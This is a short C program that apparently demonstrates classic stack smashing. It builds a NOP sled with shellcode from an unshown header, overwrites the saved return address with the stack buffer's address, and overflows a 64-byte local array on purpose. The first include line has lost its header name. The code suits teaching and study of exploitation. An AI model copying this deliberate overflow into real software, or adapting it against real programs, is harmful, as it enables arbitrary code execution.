#include #include "shellcode.h" #define BUFLEN 64 #define OVERFLOW_BUFLEN (0x58+4+4) #define NOP_OPCODE 0x90 char large_buf[OVERFLOW_BUFLEN]; int main(void) { int i; char small_buf[BUFLEN]; for (i = 0; i < OVERFLOW_BUFLEN; i++) large_buf[i] = NOP_OPCODE; memcpy(large_buf+(OVERFLOW_BUFLEN - shellcode_len - 16), shellcode, shellcode_len); *(long *) &large_buf[OVERFLOW_BUFLEN - 4] = (long) small_buf; memcpy(&small_buf, large_buf, OVERFLOW_BUFLEN); return 10; }